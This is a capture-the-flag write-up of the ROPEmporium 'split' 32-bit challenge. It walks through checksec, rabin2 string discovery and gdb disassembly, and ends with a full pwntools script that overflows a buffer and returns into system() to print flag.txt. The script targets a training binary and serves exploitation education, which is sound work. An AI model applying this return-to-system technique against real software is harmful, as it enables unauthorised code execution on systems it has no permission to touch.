Writeup of split [split] on ROPEmporium

Prerequisites: Basic knowledge of assembly, disassembling tools, and having solved ret2win for 32bit


Let’s start this time by checking the security settings of the binary with checksec.

cave@noobpwn:~/binexp/ROP-emperium/split_32$ checksec split32
[*] '/home/cave/binexp/ROP-emperium/split_32/split32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

So NX is enabled, this means that we can’t just put shellcode on the stack and return to it. NX is an exploit mitigation technique that marks memory regions as (N)on(X)ecutable. This means we can’t just put a “/bin/sh” and jump to that, to get a shell. But again with ROP-emporium, we won’t be getting a shell, instead we’ll print the flag.txt file. So let’s get started. This time around we’ll be using the same tools as in “ret2win”. If you’ve still not solved it, here are some hints, that doesn’t give everything away:

Can’t use strings on the binary? Use rabin2 -z ! Check the manpage for system, with “man system”

Remember that system uses an argument on top of the stack (x86 ftw). If we do: payload += 0xdeadbeef This will push 0xdeadbeef to the top of the stack. Can you use that then?

Okay let’s continue now with spoilers.

We’ll start by checking the strings:

cave@noobpwn:~/binexp/ROP-emperium/split_32$ rabin2 -z split32 
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
4   0x00000703 0x08048703 10  11   .rodata ascii Thank you!
5   0x0000070e 0x0804870e 7   8    .rodata ascii /bin/ls
0   0x00001030 0x0804a030 17  18   .data   ascii /bin/cat flag.txt

So we have a “/bin/cat flag.txt” in the data section of the program. If we run this command in the bash commandline, it will print the flag. Cool. Now if we look at the manpage for system:

system - execute a shell command

Cool. So we need to take that string and give it to system, so that this is the command run by the program. Great. Well that’s not so difficult. Now let’s find the system call. Open the file with gdb, and use the info function command, to see the functions in the binary.

-pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x08048374  _init
0x080483b0  read@plt
0x080483c0  printf@plt
0x080483d0  puts@plt
0x080483e0  system@plt
0x08048546  main
0x080485ad  pwnme
0x0804860c  usefulFunction

Another usefulFunction? Disassemble that.

pwndbg> disass usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804860c <+0>: push   ebp
   0x0804860d <+1>: mov    ebp,esp
   0x0804860f <+3>: sub    esp,0x8
   0x08048612 <+6>: sub    esp,0xc
   0x08048615 <+9>: push   0x804870e
   0x0804861a <+14>:    call   0x80483e0 <system@plt>  <--- found you!
   0x0804861f <+19>:    add    esp,0x10
   0x08048622 <+22>:    nop
   0x08048623 <+23>:    leave  
   0x08048624 <+24>:    ret    
End of assembler dump.

We need to understand that the stack is a LIFO data structure. Last In First Out. The system will use the argument that is the last in. So let’s look at what happens when we call the system, this is just an example, and there might be more nuances in practical use.

┌────────────┐
│            │
│ rand addr  │ <-- this is the top of the stack
│            │     which will be called by system
├────────────┤
│            │
│ rand addr  │
│            │
├────────────┤
│            │
│ rand addr  │
│            │
├────────────┤
│            │
│ rand addr  │
│            │
└────────────┘

We can use this knowledge to craft a simple payload in python!

payload = A*44 #(padding)
payload += system + addr_catflag

The stack will then look like this, at the time when we return to system:

┌────────────┐
│            │ 
│ *cat flag  │ <- a pointer to the addr
│            │    that holds the cat flag cmd
├────────────┤
│            │
│ rand addr  │
│            │
├────────────┤
│            │
│ rand addr  │
│            │
└────────────┘

Nice! Now you should have the knowledge to craft your own payload.

Conclusion: To call a function, like system we need to give it an argument. If no argument is provided by us, it will use the top of the stack. It’s important to know, that without NX we would be able to write to the stack, and write a string like /bin/sh, and then we would get a shell. Since NX is enabled we have to use a string already present in the binary. Which we found in the beginning

Exploit:

from pwn import *

elfPath="./split32"
context.arch="i386"

system = p32(0x0804861a) #calls system
cat_flag = p32(0x0804a030) #/bin/cat flag.txt


gdbscript= """
continue
"""

terminalSetting = ['gnome-terminal', '-e']
context.clear(terminal=terminalSetting)

io = pwnlib.gdb.debug(elfPath, gdbscript = gdbscript)

point=cyclic_find(b"laaa", endian="little")

def main():
    print(io.recvuntil("> "))

    #The reason for cat_flag to be after system is that system takes a pointer to a char buffer, 
    #the pointer is located in the esp
    #We add the string, which is now the esp. Making system use it
    
    print(io.send(b"A"*point+system+cat_flag))
    io.interactive() #Interactive state